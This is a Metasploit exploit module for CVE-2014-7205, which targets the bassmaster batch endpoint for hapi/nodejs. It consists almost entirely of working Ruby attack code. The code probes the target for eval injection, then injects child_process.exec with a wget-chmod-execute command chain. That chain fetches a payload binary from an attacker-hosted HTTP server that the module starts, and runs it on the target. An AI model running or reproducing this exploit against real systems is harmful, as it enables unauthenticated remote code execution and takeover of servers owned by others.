Bassmaster 1.5.1 – Batch Arbitrary JavaScript Injection Remote Code Execution (Metasploit)
require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution', 'Description' => %q{ This module exploits an un-authenticated code injection vulnerability in the bassmaster nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an attacker to dynamically execute JavaScript code on the server side using an eval. Note that the code uses a '\x2f' character so that we hit the match on the regex. }, 'Author' => [ 'mr_me <mr_me@offensive-security.com>', # msf 'Jarda Kotesovec' # original bug finder ], 'References' => [ [ 'CVE', '2014-7205'], [ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'], # nodejs advisory ], 'License' => MSF_LICENSE, 'Platform' => ['linux', 'bsd'], # binary > native JavaScript 'Arch' => [ARCH_X86, ARCH_X86_64], 'Privileged' => false, 'Targets' => [ [ 'Bassmaster <= 1.5.1', {} ] # Other versions are also affected ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 1 2016')) register_options( [ Opt::RPORT(8080), # default port for the examples/batch.js file OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]), ], self.class) end def check # So if we can append an encapsulated string into the body # we know that we can execute arbitrary JavaScript code rando = rand_text_alpha(8+rand(8)) check = "+'#{rando}'" # testing requests = [ {:method => "get", :path => "/profile"}, {:method => "get", :path => "/item"}, {:method => "get", :path => "/item/$1.id#{check}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g; ] post = {:requests => requests} res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['URIPATH']), 'ctype' => 'application/json', 'data' => post.to_json }) # default example app if res and res.code == 200 and res.body =~ /#{rando}/ return CheckCode::Vulnerable # non-default app elsif res and res.code == 500 and res.body =~ /#{rando}/ return CheckCode::Appears end return CheckCode::Safe end def on_request_uri(cli, request) if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end def send_payload @bd = rand_text_alpha(8+rand(8)) pn = rand_text_alpha(8+rand(8)) register_file_for_cleanup("/tmp/#{@bd}") cmd = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};" cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};" cmd << "\\x2ftmp\\x2f#{@bd}" pay = ";require('child_process').exec('#{cmd}');" # pwning requests = [ {:method => "get", :path => "/profile"}, {:method => "get", :path => "/item"}, {:method => "get", :path => "/item/$1.id#{pay}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g; ] post = {:requests => requests} res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['URIPATH']), 'ctype' => 'application/json', 'data' => post.to_json }) # default example app if res and res.code == 200 and res.body =~ /id/ return true # incase we are not targeting the default app elsif res and res.code == 500 and es.body !=~ /id/ return true end return false end def start_http_server @pl = generate_payload_exe @elf_sent = false downfile = rand_text_alpha(8+rand(8)) resource_uri = "\\x2f#{downfile}" if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end # do not use SSL for the attacking web server if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end @service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}" service_url_payload = srv_host + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore connect end def exploit start_http_server if send_payload print_good("Injected payload") # we need to delay, for the stager select(nil, nil, nil, 5) end end end |